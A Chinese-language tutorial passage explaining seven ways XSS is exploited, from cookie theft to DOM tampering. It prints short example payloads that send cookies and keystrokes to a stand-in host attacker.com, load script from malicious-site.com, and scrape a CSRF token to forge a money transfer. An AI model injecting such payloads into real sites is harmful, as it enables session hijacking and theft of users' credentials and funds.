XSS 利用方式
1. 窃取 Cookie 和 Session
这是最常见且危害最大的利用方式之一。通过执行恶意 JavaScript,攻击者可以获取用户的 Cookie,特别是那些用于身份验证的 Session Cookie。一旦获得,攻击者就可以冒充用户身份,无需密码即可登录网站,窃取个人信息、进行非法操作,比如转账或发布恶意内容
恶意代码示例:
<script>
document.location = 'http://attacker.com/cookie_stealer.php?c=' + document.cookie;
</script>
这段代码会将当前页面的所有 Cookie 发送到攻击者的服务器上
2. 键盘记录
攻击者可以植入键盘记录器来捕获用户在当前页面输入的所有信息,包括用户名、密码、信用卡号等敏感数据。这种方式尤其危险,因为用户可能在毫无察觉的情况下泄露重要信息
<script>
document.onkeypress = function(e) {
// 将用户按键信息发送到攻击者服务器
fetch('http://attacker.com/keylogger.php?key=' + e.key);
};
</script>
3. 钓鱼攻击
通过 XSS,攻击者可以篡改网页内容,插入虚假的登录框或提示信息,诱骗用户输入账户和密码。例如,在合法网站的页面上弹出一个伪造的登录框,提示用户“您的会话已过期,请重新登录”。用户以为是正常操作,输入信息后,这些信息就会被发送到攻击者的服务器
4. 网页挂马和恶意重定向
攻击者可以利用 XSS 将用户浏览器重定向到恶意网站,或者在当前页面上加载恶意脚本(例如,加密勒索病毒)
恶意代码示例:
<script>
window.location.href = "http://malicious-site.com";
</script>
或者加载一个恶意脚本:
<script src="http://malicious-site.com/malware.js"></script>
5. 绕过同源策略
虽然浏览器的同源策略限制了不同源的脚本互相访问,但在某些特定情况下,XSS 可以作为绕过同源策略的第一步。一旦在目标域上执行了脚本,攻击者就可以访问该域下的敏感数据,比如通过 AJAX 请求获取用户的私人信息
6. 盗用 CSRF Token
许多网站使用 CSRF Token 来防御跨站请求伪造攻击。但如果存在 XSS 漏洞,攻击者可以轻松地通过 JavaScript 获取页面中的 CSRF Token,然后构造一个合法的请求(例如,转账请求),并代表用户提交
恶意代码示例:
<script>
// 通过 AJAX 请求获取页面内容
fetch('/user/profile').then(response => response.text()).then(html => {
// 从 HTML 中解析 CSRF Token,并构造一个请求
const csrfToken = html.match(/csrf-token" content="(.*?)">/)[1];
fetch('/transfer', {
method: 'POST',
body: `amount=1000&to=attacker&_csrf=${csrfToken}`
});
});
</script>
7. DOM 篡改
攻击者可以修改页面上的 DOM 元素,例如,隐藏或替换页面上的某些内容,或者插入广告、恶意链接等